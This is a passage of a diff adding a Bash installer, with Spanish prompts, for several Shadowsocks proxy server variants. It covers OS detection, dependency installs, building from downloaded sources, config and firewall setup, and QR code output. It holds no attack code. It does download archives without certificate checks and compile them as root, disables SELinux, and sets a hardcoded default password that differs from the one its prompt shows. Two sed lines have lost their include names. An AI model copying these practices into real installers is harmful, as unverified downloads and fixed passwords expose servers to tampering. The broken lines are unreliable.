systemPackage="apt" + elif grep -Eqi "ubuntu" /etc/issue; then + release="ubuntu" + systemPackage="apt" + elif grep -Eqi "centos|red hat|redhat" /etc/issue; then + release="centos" + systemPackage="yum" + elif grep -Eqi "debian|raspbian" /proc/version; then + release="debian" + systemPackage="apt" + elif grep -Eqi "ubuntu" /proc/version; then + release="ubuntu" + systemPackage="apt" + elif grep -Eqi "centos|red hat|redhat" /proc/version; then + release="centos" + systemPackage="yum" + fi + + if [[ "${checkType}" == "sysRelease" ]]; then + if [ "${value}" == "${release}" ]; then + return 0 + else + return 1 + fi + elif [[ "${checkType}" == "packageManager" ]]; then + if [ "${value}" == "${systemPackage}" ]; then + return 0 + else + return 1 + fi + fi +} + +version_ge(){ + test "$(echo "$@" | tr " " "\n" | sort -rV | head -n 1)" == "$1" +} + +version_gt(){ + test "$(echo "$@" | tr " " "\n" | sort -V | head -n 1)" != "$1" +} + +check_kernel_version(){ + local kernel_version=$(uname -r | cut -d- -f1) + if version_gt ${kernel_version} 3.7.0; then + return 0 + else + return 1 + fi +} + +check_kernel_headers(){ + if check_sys packageManager yum; then + if rpm -qa | grep -q headers-$(uname -r); then + return 0 + else + return 1 + fi + elif check_sys packageManager apt; then + if dpkg -s linux-headers-$(uname -r) > /dev/null 2>&1; then + return 0 + else + return 1 + fi + fi + return 1 +} + +getversion(){ + if [[ -s /etc/redhat-release ]]; then + grep -oE "[0-9.]+" /etc/redhat-release + else + grep -oE "[0-9.]+" /etc/issue + fi +} + +centosversion(){ + if check_sys sysRelease centos; then + local code=$1 + local version="$(getversion)" + local main_ver=${version%%.*} + if [ "$main_ver" == "$code" ]; then + return 0 + else + return 1 + fi + else + return 1 + fi +} + +autoconf_version(){ + if [ ! "$(command -v autoconf)" ]; then + echo -e "[${green}Info${plain}] Starting install package autoconf" + if check_sys packageManager yum; then + yum install -y autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf" + elif check_sys packageManager apt; then + apt-get -y update > /dev/null 2>&1 + apt-get -y install autoconf > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf" + fi + fi + local autoconf_ver=$(autoconf --version | grep autoconf | grep -oE "[0-9.]+") + if version_ge ${autoconf_ver} 2.67; then + return 0 + else + return 1 + fi +} + +get_ip(){ + local IP=$( ip addr | egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | egrep -v "^192\.168|^172\.1[6-9]\.|^172\.2[0-9]\.|^172\.3[0-2]\.|^10\.|^127\.|^255\.|^0\." | head -n 1 ) + [ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipv4.icanhazip.com ) + [ -z ${IP} ] && IP=$( wget -qO- -t1 -T2 ipinfo.io/ip ) + echo ${IP} +} + +get_ipv6(){ + local ipv6=$(wget -qO- -t1 -T2 ipv6.icanhazip.com) + [ -z ${ipv6} ] && return 1 || return 0 +} + +get_libev_ver(){ + libev_ver=$(wget --no-check-certificate -qO- https://api.github.com/repos/shadowsocks/shadowsocks-libev/releases/latest | grep 'tag_name' | cut -d\" -f4) + [ -z ${libev_ver} ] && echo -e "[${red}Error${plain}] Get shadowsocks-libev latest version failed" && exit 1 +} + +get_opsy(){ + [ -f /etc/redhat-release ] && awk '{print ($1,$3~/^[0-9]/?$3:$4)}' /etc/redhat-release && return + [ -f /etc/os-release ] && awk -F'[= "]' '/PRETTY_NAME/{print $3,$4,$5}' /etc/os-release && return + [ -f /etc/lsb-release ] && awk -F'[="]+' '/DESCRIPTION/{print $2}' /etc/lsb-release && return +} + +is_64bit(){ + if [ `getconf WORD_BIT` = '32' ] && [ `getconf LONG_BIT` = '64' ] ; then + return 0 + else + return 1 + fi +} + +debianversion(){ + if check_sys sysRelease debian;then + local version=$( get_opsy ) + local code=${1} + local main_ver=$( echo ${version} | sed 's/[^0-9]//g') + if [ "${main_ver}" == "${code}" ];then + return 0 + else + return 1 + fi + else + return 1 + fi +} + +download(){ + local filename=$(basename $1) + if [ -f ${1} ]; then + echo "${filename} [found]" + else + echo "${filename} not found, download now..." + wget --no-check-certificate -c -t3 -T60 -O ${1} ${2} + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Download ${filename} failed." + exit 1 + fi + fi +} + +download_files(){ + cd ${cur_dir} + + if [ "${selected}" == "1" ]; then + download "${shadowsocks_python_file}.zip" "${shadowsocks_python_url}" + if check_sys packageManager yum; then + download "${shadowsocks_python_init}" "${shadowsocks_python_centos}" + elif check_sys packageManager apt; then + download "${shadowsocks_python_init}" "${shadowsocks_python_debian}" + fi + elif [ "${selected}" == "2" ]; then + download "${shadowsocks_r_file}.tar.gz" "${shadowsocks_r_url}" + if check_sys packageManager yum; then + download "${shadowsocks_r_init}" "${shadowsocks_r_centos}" + elif check_sys packageManager apt; then + download "${shadowsocks_r_init}" "${shadowsocks_r_debian}" + fi + elif [ "${selected}" == "3" ]; then + if is_64bit; then + download "${shadowsocks_go_file_64}.gz" "${shadowsocks_go_url_64}" + else + download "${shadowsocks_go_file_32}.gz" "${shadowsocks_go_url_32}" + fi + if check_sys packageManager yum; then + download "${shadowsocks_go_init}" "${shadowsocks_go_centos}" + elif check_sys packageManager apt; then + download "${shadowsocks_go_init}" "${shadowsocks_go_debian}" + fi + elif [ "${selected}" == "4" ]; then + get_libev_ver + shadowsocks_libev_file="shadowsocks-libev-$(echo ${libev_ver} | sed -e 's/^[a-zA-Z]//g')" + shadowsocks_libev_url="https://github.com/shadowsocks/shadowsocks-libev/releases/download/${libev_ver}/${shadowsocks_libev_file}.tar.gz" + + download "${shadowsocks_libev_file}.tar.gz" "${shadowsocks_libev_url}" + if check_sys packageManager yum; then + download "${shadowsocks_libev_init}" "${shadowsocks_libev_centos}" + elif check_sys packageManager apt; then + download "${shadowsocks_libev_init}" "${shadowsocks_libev_debian}" + fi + fi + +} + +get_char(){ + SAVEDSTTY=$(stty -g) + stty -echo + stty cbreak + dd if=/dev/tty bs=1 count=1 2> /dev/null + stty -raw + stty echo + stty $SAVEDSTTY +} + +error_detect_depends(){ + local command=$1 + local depend=`echo "${command}" | awk '{print $4}'` + echo -e "[${green}Info${plain}] Starting to install package ${depend}" + ${command} > /dev/null 2>&1 + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Failed to install ${red}${depend}${plain}" + echo "Please visit: https://teddysun.com/486.html and contact." + exit 1 + fi +} + +config_firewall(){ + if centosversion 6; then + /etc/init.d/iptables status > /dev/null 2>&1 + if [ $? -eq 0 ]; then + iptables -L -n | grep -i ${shadowsocksport} > /dev/null 2>&1 + if [ $? -ne 0 ]; then + iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${shadowsocksport} -j ACCEPT + iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${shadowsocksport} -j ACCEPT + /etc/init.d/iptables save + /etc/init.d/iptables restart + else + echo -e "[${green}Info${plain}] port ${green}${shadowsocksport}${plain} already be enabled." + fi + else + echo -e "[${yellow}Warning${plain}] iptables looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary." + fi + elif centosversion 7; then + systemctl status firewalld > /dev/null 2>&1 + if [ $? -eq 0 ]; then + default_zone=$(firewall-cmd --get-default-zone) + firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/tcp + firewall-cmd --permanent --zone=${default_zone} --add-port=${shadowsocksport}/udp + firewall-cmd --reload + else + echo -e "[${yellow}Warning${plain}] firewalld looks like not running or not installed, please enable port ${shadowsocksport} manually if necessary." + fi + fi +} + +config_shadowsocks(){ + +if check_kernel_version && check_kernel_headers; then + fast_open="true" +else + fast_open="false" +fi + +if [ "${selected}" == "1" ]; then + if [ ! -d "$(dirname ${shadowsocks_python_config})" ]; then + mkdir -p $(dirname ${shadowsocks_python_config}) + fi + cat > ${shadowsocks_python_config}<<-EOF +{ + "server":"0.0.0.0", + "server_port":${shadowsocksport}, + "local_address":"127.0.0.1", + "local_port":1080, + "password":"${shadowsockspwd}", + "timeout":300, + "method":"${shadowsockscipher}", + "fast_open":${fast_open} +} +EOF +elif [ "${selected}" == "2" ]; then + if [ ! -d "$(dirname ${shadowsocks_r_config})" ]; then + mkdir -p $(dirname ${shadowsocks_r_config}) + fi + cat > ${shadowsocks_r_config}<<-EOF +{ + "server":"0.0.0.0", + "server_ipv6":"::", + "server_port":${shadowsocksport}, + "local_address":"127.0.0.1", + "local_port":1080, + "password":"${shadowsockspwd}", + "timeout":120, + "method":"${shadowsockscipher}", + "protocol":"${shadowsockprotocol}", + "protocol_param":"", + "obfs":"${shadowsockobfs}", + "obfs_param":"", + "redirect":"", + "dns_ipv6":false, + "fast_open":${fast_open}, + "workers":1 +} +EOF +elif [ "${selected}" == "3" ]; then + if [ ! -d "$(dirname ${shadowsocks_go_config})" ]; then + mkdir -p $(dirname ${shadowsocks_go_config}) + fi + cat > ${shadowsocks_go_config}<<-EOF +{ + "server":"0.0.0.0", + "server_port":${shadowsocksport}, + "local_port":1080, + "password":"${shadowsockspwd}", + "method":"${shadowsockscipher}", + "timeout":300 +} +EOF +elif [ "${selected}" == "4" ]; then + local server_value="\"0.0.0.0\"" + if get_ipv6; then + server_value="[\"[::0]\",\"0.0.0.0\"]" + fi + + if [ ! -d "$(dirname ${shadowsocks_libev_config})" ]; then + mkdir -p $(dirname ${shadowsocks_libev_config}) + fi + + if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then + cat > ${shadowsocks_libev_config}<<-EOF +{ + "server":${server_value}, + "server_port":${shadowsocksport}, + "password":"${shadowsockspwd}", + "timeout":300, + "user":"nobody", + "method":"${shadowsockscipher}", + "fast_open":${fast_open}, + "nameserver":"8.8.8.8", + "mode":"tcp_and_udp", + "plugin":"obfs-server", + "plugin_opts":"obfs=${shadowsocklibev_obfs}" +} +EOF + else + cat > ${shadowsocks_libev_config}<<-EOF +{ + "server":${server_value}, + "server_port":${shadowsocksport}, + "password":"${shadowsockspwd}", + "timeout":300, + "user":"nobody", + "method":"${shadowsockscipher}", + "fast_open":${fast_open}, + "nameserver":"8.8.8.8", + "mode":"tcp_and_udp" +} +EOF + fi + +fi +} + +install_dependencies(){ + if check_sys packageManager yum; then + echo -e "[${green}Info${plain}] Checking the EPEL repository..." + if [ ! -f /etc/yum.repos.d/epel.repo ]; then + yum install -y epel-release > /dev/null 2>&1 + fi + [ ! -f /etc/yum.repos.d/epel.repo ] && echo -e "[${red}Error${plain}] Install EPEL repository failed, please check it." && exit 1 + [ ! "$(command -v yum-config-manager)" ] && yum install -y yum-utils > /dev/null 2>&1 + [ x"$(yum-config-manager epel | grep -w enabled | awk '{print $3}')" != x"True" ] && yum-config-manager --enable epel > /dev/null 2>&1 + echo -e "[${green}Info${plain}] Checking the EPEL repository complete..." + + yum_depends=( + unzip gzip openssl openssl-devel gcc python python-devel python-setuptools pcre pcre-devel libtool libevent + autoconf automake make curl curl-devel zlib-devel perl perl-devel cpio expat-devel gettext-devel + libev-devel c-ares-devel git qrencode + ) + for depend in ${yum_depends[@]}; do + error_detect_depends "yum -y install ${depend}" + done + elif check_sys packageManager apt; then + apt_depends=( + gettext build-essential unzip gzip python python-dev python-setuptools curl openssl libssl-dev + autoconf automake libtool gcc make perl cpio libpcre3 libpcre3-dev zlib1g-dev libev-dev libc-ares-dev git qrencode + ) + + apt-get -y update + for depend in ${apt_depends[@]}; do + error_detect_depends "apt-get -y install ${depend}" + done + fi +} + +install_check(){ + if check_sys packageManager yum || check_sys packageManager apt; then + if centosversion 5; then + return 1 + fi + return 0 + else + return 1 + fi +} + +install_select(){ + if ! install_check; then + echo -e "[${red}Error${plain}] Your OS is not supported to run it!" + echo "Please change to CentOS 6+/Debian 7+/Ubuntu 12+ and try again." + exit 1 + fi + + clear + while true + do + echo "CUAL SHADOWSOCKS DESEA INSTALAR?:" + for ((i=1;i<=${#software[@]};i++ )); do + hint="${software[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "OPCION? (Default Libev ${software[0]}):" selected + [ -z "${selected}" ] && selected="1" + case "${selected}" in + 1|2|3|4) + echo + echo "Tu eligistes = ${software[${selected}-1]}" + echo + break + ;; + *) + echo -e "[${red}Error${plain}] Por favor solo ingresa un número [1-4]" + ;; + esac + done +} + +install_prepare_password(){ + echo "Please enter password for ${software[${selected}-1]}" + read -p "(Default password: androidmx):" shadowsockspwd + [ -z "${shadowsockspwd}" ] && shadowsockspwd="amdroidmx" + echo + echo "password = ${shadowsockspwd}" + echo +} + +install_prepare_port() { + while true + do + dport=$(shuf -i 9000-19999 -n 1) + echo -e "Please enter a port for ${software[${selected}-1]} [1-65535]" + read -p "(Default port: ${dport}):" shadowsocksport + [ -z "${shadowsocksport}" ] && shadowsocksport=${dport} + expr ${shadowsocksport} + 1 &>/dev/null + if [ $? -eq 0 ]; then + if [ ${shadowsocksport} -ge 1 ] && [ ${shadowsocksport} -le 65535 ] && [ ${shadowsocksport:0:1} != 0 ]; then + echo + echo "port = ${shadowsocksport}" + echo + break + fi + fi + echo -e "[${red}Error${plain}] Por favor ingrese un número correcto [1-65535]" + done +} + +install_prepare_cipher(){ + while true + do + echo -e "Por favor seleccione la secuencia de cifrado para ${software[${selected}-1]}:" + + if [[ "${selected}" == "1" || "${selected}" == "4" ]]; then + for ((i=1;i<=${#common_ciphers[@]};i++ )); do + hint="${common_ciphers[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "Qué cifrado seleccionarías(Default: ${common_ciphers[0]}):" pick + [ -z "$pick" ] && pick=1 + expr ${pick} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Por favor, introduzca un número" + continue + fi + if [[ "$pick" -lt 1 || "$pick" -gt ${#common_ciphers[@]} ]]; then + echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#common_ciphers[@]}" + continue + fi + shadowsockscipher=${common_ciphers[$pick-1]} + elif [ "${selected}" == "2" ]; then + for ((i=1;i<=${#r_ciphers[@]};i++ )); do + hint="${r_ciphers[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "Which cipher you'd select(Default: ${r_ciphers[1]}):" pick + [ -z "$pick" ] && pick=2 + expr ${pick} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Please enter a number" + continue + fi + if [[ "$pick" -lt 1 || "$pick" -gt ${#r_ciphers[@]} ]]; then + echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#r_ciphers[@]}" + continue + fi + shadowsockscipher=${r_ciphers[$pick-1]} + elif [ "${selected}" == "3" ]; then + for ((i=1;i<=${#go_ciphers[@]};i++ )); do + hint="${go_ciphers[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "Which cipher you'd select(Default: ${go_ciphers[0]}):" pick + [ -z "$pick" ] && pick=1 + expr ${pick} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Please enter a number" + continue + fi + if [[ "$pick" -lt 1 || "$pick" -gt ${#go_ciphers[@]} ]]; then + echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#go_ciphers[@]}" + continue + fi + shadowsockscipher=${go_ciphers[$pick-1]} + fi + + echo + echo "cipher = ${shadowsockscipher}" + echo + break + done +} + +install_prepare_protocol(){ + while true + do + echo -e "Please select protocol for ${software[${selected}-1]}:" + for ((i=1;i<=${#protocols[@]};i++ )); do + hint="${protocols[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "Which protocol you'd select(Default: ${protocols[0]}):" protocol + [ -z "$protocol" ] && protocol=1 + expr ${protocol} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Please enter a number" + continue + fi + if [[ "$protocol" -lt 1 || "$protocol" -gt ${#protocols[@]} ]]; then + echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#protocols[@]}" + continue + fi + shadowsockprotocol=${protocols[$protocol-1]} + echo + echo "protocol = ${shadowsockprotocol}" + echo + break + done +} + +install_prepare_obfs(){ + while true + do + echo -e "Please select obfs for ${software[${selected}-1]}:" + for ((i=1;i<=${#obfs[@]};i++ )); do + hint="${obfs[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "Which obfs you'd select(Default: ${obfs[0]}):" r_obfs + [ -z "$r_obfs" ] && r_obfs=1 + expr ${r_obfs} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Please enter a number" + continue + fi + if [[ "$r_obfs" -lt 1 || "$r_obfs" -gt ${#obfs[@]} ]]; then + echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#obfs[@]}" + continue + fi + shadowsockobfs=${obfs[$r_obfs-1]} + echo + echo "obfs = ${shadowsockobfs}" + echo + break + done +} + +install_prepare_libev_obfs(){ + if autoconf_version || centosversion 6; then + while true + do + echo -e "Do you want install simple-obfs for ${software[${selected}-1]}? [y/n]" + read -p "(default: n):" libev_obfs + [ -z "$libev_obfs" ] && libev_obfs=n + case "${libev_obfs}" in + y|Y|n|N) + echo + echo "You choose = ${libev_obfs}" + echo + break + ;; + *) + echo -e "[${red}Error${plain}] Please only enter [y/n]" + ;; + esac + done + + if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then + while true + do + echo -e "Por favor seleccione obfs para simple-obfs: " + for ((i=1;i<=${#obfs_libev[@]};i++ )); do + hint="${obfs_libev[$i-1]}" + echo -e "${green}${i}${plain}) ${hint}" + done + read -p "Qué obfs seleccionarías(Default: ${obfs_libev[0]}):" r_libev_obfs + [ -z "$r_libev_obfs" ] && r_libev_obfs=1 + expr ${r_libev_obfs} + 1 &>/dev/null + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] Please enter a number" + continue + fi + if [[ "$r_libev_obfs" -lt 1 || "$r_libev_obfs" -gt ${#obfs_libev[@]} ]]; then + echo -e "[${red}Error${plain}] Please enter a number between 1 and ${#obfs_libev[@]}" + continue + fi + shadowsocklibev_obfs=${obfs_libev[$r_libev_obfs-1]} + echo + echo "obfs = ${shadowsocklibev_obfs}" + echo + break + done + fi + else + echo -e "[${green}Info${plain}] autoconf version is less than 2.67, simple-obfs for ${software[${selected}-1]} installation has been skipped" + fi +} + +install_prepare(){ + + if [[ "${selected}" == "1" || "${selected}" == "3" || "${selected}" == "4" ]]; then + install_prepare_password + install_prepare_port + install_prepare_cipher + if [ "${selected}" == "4" ]; then + install_prepare_libev_obfs + fi + elif [ "${selected}" == "2" ]; then + install_prepare_password + install_prepare_port + install_prepare_cipher + install_prepare_protocol + install_prepare_obfs + fi + + echo + echo "Preciona enter o start... para salir Ctrl+C cancelar" + char=`get_char` + +} + +install_libsodium(){ + if [ ! -f /usr/lib/libsodium.a ]; then + cd ${cur_dir} + download "${libsodium_file}.tar.gz" "${libsodium_url}" + tar zxf ${libsodium_file}.tar.gz + cd ${libsodium_file} + ./configure --prefix=/usr && make && make install + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] ${libsodium_file} install failed." + install_cleanup + exit 1 + fi + else + echo -e "[${green}Info${plain}] ${libsodium_file} already installed." + fi +} + +install_mbedtls(){ + if [ ! -f /usr/lib/libmbedtls.a ]; then + cd ${cur_dir} + download "${mbedtls_file}-gpl.tgz" "${mbedtls_url}" + tar xf ${mbedtls_file}-gpl.tgz + cd ${mbedtls_file} + make SHARED=1 CFLAGS=-fPIC + make DESTDIR=/usr install + if [ $? -ne 0 ]; then + echo -e "[${red}Error${plain}] ${mbedtls_file} install failed." + install_cleanup + exit 1 + fi + else + echo -e "[${green}Info${plain}] ${mbedtls_file} already installed." + fi +} + +install_shadowsocks_python(){ + cd ${cur_dir} + unzip -q ${shadowsocks_python_file}.zip + if [ $? -ne 0 ];then + echo -e "[${red}Error${plain}] unzip ${shadowsocks_python_file}.zip failed, please check unzip command." + install_cleanup + exit 1 + fi + + cd ${shadowsocks_python_file} + python setup.py install --record /usr/local/shadowsocks_python.log + + if [ -f /usr/bin/ssserver ] || [ -f /usr/local/bin/ssserver ]; then + chmod +x ${shadowsocks_python_init} + local service_name=$(basename ${shadowsocks_python_init}) + if check_sys packageManager yum; then + chkconfig --add ${service_name} + chkconfig ${service_name} on + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} defaults + fi + else + echo + echo -e "[${red}Error${plain}] ${software[0]} install failed." + echo "Please visit: https://teddysun.com/486.html and contact." + install_cleanup + exit 1 + fi +} + +install_shadowsocks_r(){ + cd ${cur_dir} + tar zxf ${shadowsocks_r_file}.tar.gz + mv ${shadowsocks_r_file}/shadowsocks /usr/local/ + if [ -f /usr/local/shadowsocks/server.py ]; then + chmod +x ${shadowsocks_r_init} + local service_name=$(basename ${shadowsocks_r_init}) + if check_sys packageManager yum; then + chkconfig --add ${service_name} + chkconfig ${service_name} on + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} defaults + fi + else + echo + echo -e "[${red}Error${plain}] ${software[1]} install failed." + echo "Please visit; https://teddysun.com/486.html and contact." + install_cleanup + exit 1 + fi +} + +install_shadowsocks_go(){ + cd ${cur_dir} + if is_64bit; then + gzip -d ${shadowsocks_go_file_64}.gz + if [ $? -ne 0 ];then + echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_64}.gz failed." + install_cleanup + exit 1 + fi + mv -f ${shadowsocks_go_file_64} /usr/bin/shadowsocks-server + else + gzip -d ${shadowsocks_go_file_32}.gz + if [ $? -ne 0 ];then + echo -e "[${red}Error${plain}] Decompress ${shadowsocks_go_file_32}.gz failed." + install_cleanup + exit 1 + fi + mv -f ${shadowsocks_go_file_32} /usr/bin/shadowsocks-server + fi + + if [ -f /usr/bin/shadowsocks-server ]; then + chmod +x /usr/bin/shadowsocks-server + chmod +x ${shadowsocks_go_init} + + local service_name=$(basename ${shadowsocks_go_init}) + if check_sys packageManager yum; then + chkconfig --add ${service_name} + chkconfig ${service_name} on + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} defaults + fi + else + echo + echo -e "[${red}Error${plain}] ${software[2]} install failed." + echo "Please visit: https://teddysun.com/486.html and contact." + install_cleanup + exit 1 + fi +} + +install_shadowsocks_libev(){ + cd ${cur_dir} + tar zxf ${shadowsocks_libev_file}.tar.gz + cd ${shadowsocks_libev_file} + ./configure --disable-documentation && make && make install + if [ $? -eq 0 ]; then + chmod +x ${shadowsocks_libev_init} + local service_name=$(basename ${shadowsocks_libev_init}) + if check_sys packageManager yum; then + chkconfig --add ${service_name} + chkconfig ${service_name} on + elif check_sys packageManager apt; then + update-rc.d -f ${service_name} defaults + fi + else + echo + echo -e "[${red}Error${plain}] ${software[3]} install failed." + echo "Please visit: https://teddysun.com/486.html and contact." + install_cleanup + exit 1 + fi +} + +install_shadowsocks_libev_obfs(){ + if [ "${libev_obfs}" == "y" ] || [ "${libev_obfs}" == "Y" ]; then + cd ${cur_dir} + git clone https://github.com/shadowsocks/simple-obfs.git + [ -d simple-obfs ] && cd simple-obfs || echo -e "[${red}Error:${plain}] Failed to git clone simple-obfs." + git submodule update --init --recursive + if centosversion 6; then + if [ ! "$(command -v autoconf268)" ]; then + echo -e "[${green}Info${plain}] Starting install autoconf268..." + yum install -y autoconf268 > /dev/null 2>&1 || echo -e "[${red}Error:${plain}] Failed to install autoconf268." + fi + # replace command autoreconf to autoreconf268 + sed -i 's/autoreconf/autoreconf268/' autogen.sh + # replace #include to #include + sed -i 's@^#include @#include @' src/local.h + sed -i 's@^#include @#include @' src/server.h + fi + ./autogen.sh + ./configure --disable-documentation + make + make install + if [ ! "$(command -v obfs-server)" ]; then + echo -e "[${red}Error${plain}] simple-obfs for ${software[${selected}-1]} install failed." + echo "Please visit: https://teddysun.com/486.html and contact." + install_cleanup + exit 1 + fi + [ -f /usr/local/bin/obfs-server ] && ln -s /usr/local/bin/obfs-server /usr/bin + fi +} + +install_completed_python(){ + clear + ${shadowsocks_python_init} start + echo + echo -e "Congratulations, ${green}${software[0]}${plain} server install completed!" + echo -e "SU IP : ${red} $(get_ip) ${plain}" + echo -e "SU PUERTO : ${red} ${shadowsocksport} ${plain}" + echo -e "SU CONTRASEÑA : ${red} ${shadowsockspwd} ${plain}" + echo -e "METODO ENCRIPTACION: ${red} ${shadowsockscipher} ${plain}" +} + +install_completed_r(){ + clear + ${shadowsocks_r_init} start + echo + echo -e "Congratulations, ${green}${software[1]}${plain} server install completed!" + echo -e "SU IP : ${red} $(get_ip) ${plain}" + echo -e "SU PUERTO : ${red} ${shadowsocksport} ${plain}" + echo -e "SU CONTRASEÑA : ${red} ${shadowsockspwd} ${plain}" + echo -e "PROTOCOLO : ${red} ${shadowsockprotocol} ${plain}" + echo -e "SU OBFS : ${red} ${shadowsockobfs} ${plain}" + echo -e "METODO DE ENCRIPTACION: ${red} ${shadowsockscipher} ${plain}" +} + +install_completed_go(){ + clear + ${shadowsocks_go_init} start + echo + echo -e "Congratulations, ${green}${software[2]}${plain} server install completed!" + echo -e "SU IP : ${red} $(get_ip) ${plain}" + echo -e "SU PUERTO : ${red} ${shadowsocksport} ${plain}" + echo -e "SU CONTRASEÑA : ${red} ${shadowsockspwd} ${plain}" + echo -e "METODO ENCRIPTACION: ${red} ${shadowsockscipher} ${plain}" +} + +install_completed_libev(){ + clear + ldconfig + ${shadowsocks_libev_init} start + echo + echo -e "Congratulations, ${green}${software[3]}${plain} server install completed!" + echo -e "Your Server IP : ${red} $(get_ip) ${plain}" + echo -e "Your Server Port : ${red} ${shadowsocksport} ${plain}" + echo -e "Your Password : ${red} ${shadowsockspwd} ${plain}" + if [ "$(command -v obfs-server)" ]; then + echo -e "Your obfs : ${red} ${shadowsocklibev_obfs} ${plain}" + fi + echo -e "Your Encryption Method: ${red} ${shadowsockscipher} ${plain}" +} + +qr_generate_python(){ + if [ "$(command -v qrencode)" ]; then + local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) + local qr_code="ss://${tmp}" + echo + echo "Your QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)" + echo -e "${green} ${qr_code} ${plain}" + echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_python_qr.png + echo "Your QR Code has been saved as a PNG file path:" + echo -e "${green} ${cur_dir}/shadowsocks_python_qr.png ${plain}" + fi +} + +qr_generate_r(){ + if [ "$(command -v qrencode)" ]; then + local tmp1=$(echo -n "${shadowsockspwd}" | base64 -w0 | sed 's/=//g;s/\//_/g;s/+/-/g') + local tmp2=$(echo -n "$(get_ip):${shadowsocksport}:${shadowsockprotocol}:${shadowsockscipher}:${shadowsockobfs}:${tmp1}/?obfsparam=" | base64 -w0) + local qr_code="ssr://${tmp2}" + echo + echo "Your QR Code: (For ShadowsocksR Windows, Android clients only)" + echo -e "${green} ${qr_code} ${plain}" + echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_r_qr.png + echo "Your QR Code has been saved as a PNG file path:" + echo -e "${green} ${cur_dir}/shadowsocks_r_qr.png ${plain}" + fi +} + +qr_generate_go(){ + if [ "$(command -v qrencode)" ]; then + local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) + local qr_code="ss://${tmp}" + echo + echo "Your QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)" + echo -e "${green} ${qr_code} ${plain}" + echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_go_qr.png + echo "Your QR Code has been saved as a PNG file path:" + echo -e "${green} ${cur_dir}/shadowsocks_go_qr.png ${plain}" + fi +} + +qr_generate_libev(){ + if [ "$(command -v qrencode)" ]; then + local tmp=$(echo -n "${shadowsockscipher}:${shadowsockspwd}@$(get_ip):${shadowsocksport}" | base64 -w0) + local qr_code="ss://${tmp}" + echo + echo "Your QR Code: (For Shadowsocks Windows, OSX, Android and iOS clients)" + echo -e "${green} ${qr_code} ${plain}" + echo -n "${qr_code}" | qrencode -s8 -o ${cur_dir}/shadowsocks_libev_qr.png + echo "Your QR Code has been saved as a PNG file path:" + echo -e "${green} ${cur_dir}/shadowsocks_libev_qr.png ${plain}" + fi +} + +install_main(){ + install_libsodium + if ! ldconfig -p | grep -wq "/usr/lib"; then + echo "/usr/lib" > /etc/ld.so.conf.d/lib.conf + fi + ldconfig + + if [ "${selected}" == "1" ]; then + install_shadowsocks_python + install_completed_python + qr_generate_python + elif [ "${selected}" == "2" ]; then + install_shadowsocks_r + install_completed_r + qr_generate_r + elif [ "${selected}" == "3" ]; then + install_shadowsocks_go + install_completed_go + qr_generate_go + elif [ "${selected}" == "4" ]; then + install_mbedtls + install_shadowsocks_libev + install_shadowsocks_libev_obfs + install_completed_libev + qr_generate_libev + fi + + echo + echo "BY GILILLO GONZALEZ" + echo "BY @ALEX_ROID9_0_MX" + echo +} + +install_cleanup(){ + cd ${cur_dir} + rm -rf simple-obfs + rm -rf ${libsodium_file} ${libsodium_file}.tar.gz + rm -rf ${mbedtls_file} ${mbedtls_file}-gpl.tgz + rm -rf ${shadowsocks_python_file} ${shadowsocks_python_file}.zip + rm -rf ${shadowsocks_r_file} ${shadowsocks_r_file}.tar.gz + rm -rf ${shadowsocks_go_file_64}.gz ${shadowsocks_go_file_32}.gz + rm -rf ${shadowsocks_libev_file} ${shadowsocks_libev_file}.tar.gz +} + +install_shadowsocks(){ + disable_selinux + install_select + install_prepare + install_dependencies + download_files + config_shadowsocks + if check_sys packageManager yum; then + config_firewall + fi + install_main + install_cleanup +} + +uninstall_shadowsocks_python(){ + printf "Are you sure uninstall ${red}${software[0]}${plain}? [y/n]\n" + read -p "(default: n):" answer + [ -z ${answer} ] && answer="n" + if [ "${answer}" == "y" ] || [ "${answer}" == "Y" 